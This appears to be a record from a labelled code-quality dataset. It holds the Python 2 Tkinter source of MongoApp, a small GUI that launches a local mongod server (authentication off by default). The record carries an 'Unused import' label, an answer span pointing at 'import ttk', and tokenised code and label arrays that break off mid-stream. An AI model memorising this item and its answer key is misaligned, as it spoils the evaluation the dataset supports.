")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "OE", "mbed", "Photo", "Response_", "(_", "OE", "mbed", "Response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Represent", "s", " ", "an", " ", "OE", "mbed", " ", "photo", " ", "response", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "OE", "mbed", "Photo", "Response_", "(_", "OE", "mbed", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fields_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "OE", "mbed", "Photo", "Response_", ",_", "self_", ")_", "._", "fields_", "(_", ")_", "+_", "[_", "'", "url", "'_", ",_", "'", "widt", "h", "'_", ",_", "'", "height", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "OE", "mbed", "Vid", "eo", "Response_", "(_", "OE", "mbed", "Response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Represent", "s", " ", "an", " ", "OE", "mbed", " ", "video", " ", "response", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "OE", "mbed", "Vid", "eo", "Response_", "(_", "OE", "mbed", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fields_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "OE", "mbed", "Vid", "eo", "Response_", ",_", "self_", ")_", "._", "fields_", "(_", ")_", "+_", "[_", "'", "html", "'_", ",_", "'", "widt", "h", "'_", ",_", "'", "height", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "OE", "mbed", "Link", "Response_", "(_", "OE", "mbed", "Response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Represent", "s", " ", "an", " ", "OE", "mbed", " ", "link", " ", "response", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "OE", "mbed", "Rich", "Response_", "(_", "OE", "mbed", "Response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Represent", "s", " ", "an", " ", "OE", "mbed", " ", "rich", " ", "response", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "OE", "mbed", "Rich", "Response_", "(_", "OE", "mbed", "Response_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "fields_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "super_", "(_", "OE", "mbed", "Rich", "Response_", ",_", "self_", ")_", "._", "fields_", "(_", ")_", "+_", "[_", "'", "html", "'_", ",_", "'", "widt", "h", "'_", ",_", "'", "height", "'_", "]_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
yildizberkay/MongoApp/MongoApp.py
[ { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport subprocess\nimport threading\nimport tkFont\nimport ttk\nimport webbrowser\n\nfrom os import makedirs\nfrom os.path import exists, expanduser, join as path_join\nfrom sys import path as sys_path\nfrom Tkinter import *\n\nsys_path.append('libs')\nfrom PIL import ImageTk, Image\n\n\nHomeFolder = expanduser(\"~\")\nDATA_ROOT_FOLDER = path_join(HomeFolder, \"MongoAppData\")\n\n\n\n# Application structure:\n# http://docs.python.org/2/library/tkinter.html#a-simple-hello-world-program\n\n\nif __name__ == \"__main__\":\n if not exists(DATA_ROOT_FOLDER):\n makedirs(DATA_ROOT_FOLDER+\"/data/db\")\n makedirs(DATA_ROOT_FOLDER+\"/logs\")\n\n root = Tk()\n app = Application(master=root)\n app.master.title(\"MongoApp\")\n app.master.geometry(\"640x480\")\n app.mainloop()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class MongoApp():\n\n pidPath = path_join(DATA_ROOT_FOLDER, 'logs', 'mongo.pid')\n dbPath = path_join(DATA_ROOT_FOLDER, 'data', 'db')\n\n\n\n", "metadata": "root.MongoApp", "header": "['module', '___EOS___']", "index": 21 }, { "content": " def __init__(self, maxConns=10, noauth=True):\n self.maxConns = maxConns\n self.noauth = noauth\n self.CreateQuery()", "metadata": "root.MongoApp.__init__", "header": "['class', 'MongoApp', '(', ')', ':', '___EOS___']", "index": 26 }, { "content": " def CreateQuery(self):\n self.MongoQuery = ' --pidfilepath ' + str(self.pidPath) + \\\n ' --maxConns ' + str(self.maxConns) + \\\n ' --dbpath ' + str(self.dbPath)\n if self.noauth:\n self.MongoQuery += ' --noauth'", "metadata": "root.MongoApp.CreateQuery", "header": "['class', 'MongoApp', '(', ')', ':', '___EOS___']", "index": 31 }, { "content": " def StartMongo(self):\n query = \"bin/mongod \"+self.MongoQuery\n MongoProcess = subprocess.Popen([query], stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n shell=True)\n return MongoProcess", "metadata": "root.MongoApp.StartMongo", "header": "['class', 'MongoApp', '(', ')', ':', '___EOS___']", "index": 38 }, { "content": " def Start(self):\n SM = threading.Thread(target=self.StartMongo, args=())\n SM.start()", "metadata": "root.MongoApp.Start", "header": "['class', 'MongoApp', '(', ')', ':', '___EOS___']", "index": 46 }, { "content": "class Application(Frame):\n\n Mongo = MongoApp(maxConns=100)\n Status = 0\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.Application", "header": "['module', '___EOS___']", "index": 53 }, { "content": " def __init__(self, master=None):\n Frame.__init__(self, master)\n #self.m = master\n self.pack(expand=0, fill='both', padx=10, pady=10)\n self.ConsoleLogFrame = Frame(master)\n self.ConsoleLogFrame.pack(expand=1, fill='both')\n\n self.ActiveIconImage = ImageTk.PhotoImage(\n Image.open(\"assets/images/icon-active.gif\"))\n self.ErrorIconImage = ImageTk.PhotoImage(\n Image.open(\"assets/images/icon-error.gif\"))\n self.OffIconImage = ImageTk.PhotoImage(\n Image.open(\"assets/images/icon-off.gif\"))\n self.MongoDBLogo = ImageTk.PhotoImage(\n Image.open(\"assets/images/MongoDBLogo.gif\"))\n\n self.menubar = Menu(self)\n\n MenuRoot = Menu(master, tearoff=0)\n MenuBar = Menu(MenuRoot, tearoff=0)\n MenuBar.add_command(label=\"GitHub Page\", command=self.LinkGitHubPage)\n MenuBar.add_command(label=\"MongoDB Docs\", command=self.LinkMongoDBDocs)\n\n MenuRoot.add_cascade(label=\"About MongoApp\", menu=MenuBar)\n master.config(menu=MenuRoot)\n\n self.CreateWidgets()\n master.protocol(\"WM_DELETE_WINDOW\", self.QuitEvent)", "metadata": "root.Application.__init__", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 58 }, { "content": " def LinkGitHubPage(self):\n webbrowser.open('https://github.com/yildizberkay/MongoApp')", "metadata": "root.Application.LinkGitHubPage", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 87 }, { "content": " def LinkMongoDBDocs(self):\n webbrowser.open('http://docs.mongodb.org/manual/')", "metadata": "root.Application.LinkMongoDBDocs", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 90 }, { "content": " def OpenDBFolder(self):\n subprocess.call([\"open\", DATA_ROOT_FOLDER+\"/data\"])", "metadata": "root.Application.OpenDBFolder", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 93 }, { "content": " def StartServer(self):\n self.MongoObject = self.Mongo.StartMongo()\n SStatus = 0\n while True:\n Line = self.MongoObject.stdout.readline()\n self.AppendLog(Line)\n\n if str(self.MongoObject.poll()) == 'None':\n self.IconPanel.config(image=self.ActiveIconImage)\n self.Status = 1\n SStatus = 1\n elif str(self.MongoObject.poll()) == '100':\n SStatus = 0\n else:\n self.IconPanel.config(image=self.OffIconImage)\n\n if not Line:\n break\n self.Status = 0\n self.MongoObject.stdout.close()\n\n if SStatus == 0:\n self.StopButton[\"state\"] = DISABLED\n self.StartButton[\"state\"] = NORMAL\n self.IconPanel.config(image=self.ErrorIconImage)\n self.AppendLog(\"Error!\\n\", 'ErrorHead')\n self.AppendLog(\"MongoDB is not working, please check \"\n \"console log.\\n\", 'NotificationHead')\n self.AppendLog(\"--------------------------------------------------\\n\",\n 'NotificationHead')", "metadata": "root.Application.StartServer", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 96 }, { "content": " def StartServerMulti(self):\n self.StartButton[\"state\"] = DISABLED\n self.StopButton[\"state\"] = NORMAL\n self.AppendLog(\"MongoDB is starting.\\n\", 'NotificationHead')\n self.SM = threading.Thread(target=self.StartServer, args=())\n self.SM.setDaemon(1)\n self.SM.start()", "metadata": "root.Application.StartServerMulti", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 127 }, { "content": " def StopServer(self):\n self.MongoObject.terminate()\n self.StopButton[\"state\"] = DISABLED\n self.StartButton[\"state\"] = NORMAL\n self.Status = 0", "metadata": "root.Application.StopServer", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 135 }, { "content": " def ClearConsole(self):\n self.LogArea.delete(\"0.0\", END)", "metadata": "root.Application.ClearConsole", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 141 }, { "content": " def CreateWidgets(self):\n self.StartButton = Button(self)\n self.StartButton[\"text\"] = \"Start Mongo\"\n self.StartButton[\"fg\"] = \"red\"\n self.StartButton[\"command\"] = self.StartServerMulti\n self.StartButton.pack({\"side\": \"left\"})\n\n self.StopButton = Button(self)\n self.StopButton[\"text\"] = \"Stop\"\n self.StopButton[\"command\"] = self.StopServer\n self.StopButton[\"state\"] = DISABLED\n self.StopButton.pack({\"side\": \"left\"})\n\n self.GetInfo = Button(self)\n self.GetInfo[\"text\"] = \"Clear\"\n self.GetInfo[\"command\"] = self.ClearConsole\n self.GetInfo.pack({\"side\": \"left\"})\n\n self.OpenFolder = Button(self)\n self.OpenFolder[\"text\"] = \"Open DB Folder\"\n self.OpenFolder[\"command\"] = self.OpenDBFolder\n self.OpenFolder.pack({\"side\": \"left\"})\n\n self.PoweredMongoPanel = Label(self, image=self.MongoDBLogo)\n self.PoweredMongoPanel.image = self.MongoDBLogo\n self.PoweredMongoPanel.pack({\"side\": \"right\"})\n\n self.IconPanel = Label(self, image=self.OffIconImage)\n self.IconPanel.image = self.OffIconImage\n self.IconPanel.pack({\"side\": \"right\"})\n\n self.LogArea = Text(self.ConsoleLogFrame)\n self.LogArea[\"bd\"] = \"0px\"\n self.LogArea[\"bg\"] = \"black\"\n self.LogArea[\"fg\"] = \"green\"\n self.LogArea[\"highlightthickness\"] = \"0px\"\n self.LogArea.insert(INSERT, \"Click to \\\"Start Mongo\\\" button for start\"\n \" the server.\\nGitHub repository: \"\n \"http://git.io/MongoApp\\nMongoApp version: 0.2.6\\n\")\n self.LogArea.pack(expand=1, fill='both')\n\n self.LogArea.tag_config(\"NotificationHead\", background=\"#f1c40f\",\n foreground=\"#2c3e50\")\n self.LogArea.tag_config(\"ErrorHead\", background=\"#e74c3c\",\n foreground=\"#ffffff\",\n font=tkFont.Font(weight='bold'))", "metadata": "root.Application.CreateWidgets", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 144 }, { "content": " def AppendLog(self, logline, tag='None'):\n if tag == 'None':\n self.LogArea.insert(END, logline)\n else:\n self.LogArea.insert(END, logline, (tag))\n self.LogArea.see('end')", "metadata": "root.Application.AppendLog", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 191 }, { "content": " def QuitEvent(self):\n if self.Status == 1:\n self.MongoObject.terminate()\n self.master.destroy()\n self.master.quit()", "metadata": "root.Application.QuitEvent", "header": "['class', 'Application', '(', 'Frame', ')', ':', '___EOS___']", "index": 198 } ]
[ { "span": "import ttk", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 10 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "tk", "Font_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "ttk_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "webbrowser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "os_", "import_", "makedirs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "os_", "._", "path_", "import_", "exists_", ",_", "expanduser_", ",_", "join_", "as_", "path", "\\u", "join_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sys_", "import_", "path_", "as_", "sys", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Tkinter_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sys", "\\u", "path_", "._", "append_", "(_", "'", "libs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "PIL_", "import_", "Image", "Tk_", ",_", "Image_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Home", "Folder_", "=_", "expanduser_", "(_", "\"~\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "DATA", "\\u", "ROO", "T", "\\u", "FOLDER_", "=_", "path", "\\u", "join_", "(_", "Home", "Folder_", ",_", "\"", "Mon", "go", "App", "Data", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Applica", "tion", " ", "structure", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "docs", ".", "python", ".", "org", "/", "2", "/", "librar", "y", "/", "tkin", "ter", ".", "html", "#", "a", "-", "simple", "-", "hell", "o", "-", "world", "-", "program_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "exists_", "(_", "DATA", "\\u", "ROO", "T", "\\u", "FOLDER_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "makedirs_", "(_", "DATA", "\\u", "ROO", "T", "\\u", "FOLDER_", "+_", "\"/", "data", "/", "db", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "makedirs_", "(_", "DATA", "\\u", "ROO", "T", "\\u", "FOLDER_", "+_", "\"/", "logs", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root_", "=_", "Tk_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "=_", "Application_", "(_", "master_", "=_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "master_", "._", "title_", "(_", "\"", "Mon", "go", "App", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "master_", "._", "geometry_", "(_", "\"", "640", "x4", "80", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "mainloop_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Mon", "go", "App_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pid", "Path_", "=_", "path", "\\u", "join_", "(_", "DATA", "\\u", "ROO", "T", "\\u", "FOLDER_", ",_", "'", "logs", "'_", ",_", "'", "mongo", ".", "pid", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db", "Path_", "=_", "path", "\\u", "join_", "(_", "DATA", "\\u", "ROO", "T", "\\u", "FOLDER_", ",_", "'", "data", "'_", ",_", "'", "db", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "App_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "max", "Con", "ns_", "=_", "10_", ",_", "noa", "uth_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "max", "Con", "ns_", "=_", "max", "Con", "ns_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "noa", "uth_", "=_", "noa", "uth_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Creat", "e", "Query_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "App_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Creat", "e", "Query_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Mon", "go", "Query_", "=_", "'", " ", "--", "pid", "filepath", " ", "'_", "+_", "str_", "(_", "self_", "._", "pid", "Path_", ")_", "+_", "'", " ", "--", "max", "Con", "ns", " ", "'_", "+_", "str_", "(_", "self_", "._", "max", "Con", "ns_", ")_", "+_", "'", " ", "--", "dbpa", "th", " ", "'_", "+_", "str_", "(_", "self_", "._", "db", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "noa", "uth_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Mon", "go", "Query_", "+=_", "'", " ", "--", "noa", "uth", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "App_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Start", "Mon", "go_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "\"", "bin", "/", "mongo", "d", " ", "\"_", "+_", "self_", "._", "Mon", "go", "Query_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Mon", "go", "Process_", "=_", "subprocess_", "._", "Popen_", "(_", "[_", "query_", "]_", ",_", "stdin_", "=_", "subprocess_", "._", "PIPE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stderr_", "=_", "subprocess_", "._", "PIPE_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "shell_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Mon", "go", "Process_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mon", "go", "App_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Start_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "SM_", "=_", "threading_", "._", "Thread_", "(_", "target_", "=_", "self_", "._", "Start", "Mon", "go_", ",_", "args_", "=_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "SM_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Mon", "go_", "=_", "Mon", "go", "App_", "(_", "max", "Con", "ns_", "=_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Status_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Application_", "(_", "Frame_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "master_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Frame_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "master_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "m", " ", "=", " ", "master_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "pack_", "(_", "expand_", "=_", "0_", ",_", "fill_", "=_", "'", "bot", "h", "'_", ",_", "padx_", "=_", "10_", ",_", "pady_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Cons", "ole", "Log", "Frame_", "=_", "Frame_", "(_", "master_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Cons", "ole", "Log", "Frame_", "._", "pack_", "(_", "expand_", "=_", "1_", ",_", "fill_", "=_", "'", "bot", "h", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "Activ", "e", "Ico", "n", "Image_", "=_", "Image", "Tk_", "._", "Photo", "Image_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Image_", "._", "open_", "(_", "\"", "asset", "s", "/", "images", "/", "icon", "-", "active", ".", "gif", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Error", "Ico", "n", "Image_", "=_", "Image", "Tk_", "._", "Photo", "Image_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Image_", "._", "open_", "(_", "\"", "asset", "s", "/", "images", "/", "icon", "-", "error", ".", "gif", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Off", "Ico", "n", "Image_", "=_", "Image", "Tk_", "._", "Photo", "Image_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Image_", "._", "open_", "(_", "\"", "asset", "s", "/", "images", "/", "icon", "-", "off", ".", "gif", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Mon", "go", "DB", "Logo", "_", "=_", "Image", "Tk_", "._", "Photo", "Image_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Image_", "._", "open_", "(_", "\"", "asset", "s", "/", "images", "/", "Mon", "go", "DB", "Logo", ".", "gif", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "menubar_", "=_", "Menu_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Menu", "Root_", "=_", "Menu_", "(_", "master_", ",_", "tear", "off_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Menu", "Bar_", "=_", "Menu_", "(_", "Menu", "Root_", ",_", "tear", "off_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Menu", "Bar_", "._", "add", "\\u", "command_", "(_", "label_", "=_", "\"", "Git", "Hub", " ", "Page", "\"_", ",_", "command_", "=_", "self_", "._", "Link", "Git", "Hub", "Page_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Menu", "Bar_", "._", "add", "\\u", "command_", "(_", "label_", "=_", "\"", "Mon", "go", "DB", " ", "Docs", "\"_", ",_", "command_", "=_", "self_", "._", "Link", "Mon", "go", "DB", "Docs", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Menu", "Root_", "._", "add", "\\u", "cascade_", "(_", "label_", "=_", "\"", "Abo", "ut", " ", "Mon", "go", "App", "\"_", ",_", "menu_", "=_", "Menu", "Bar_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "master_", "._", "config_", "(_", "menu_", "=_", 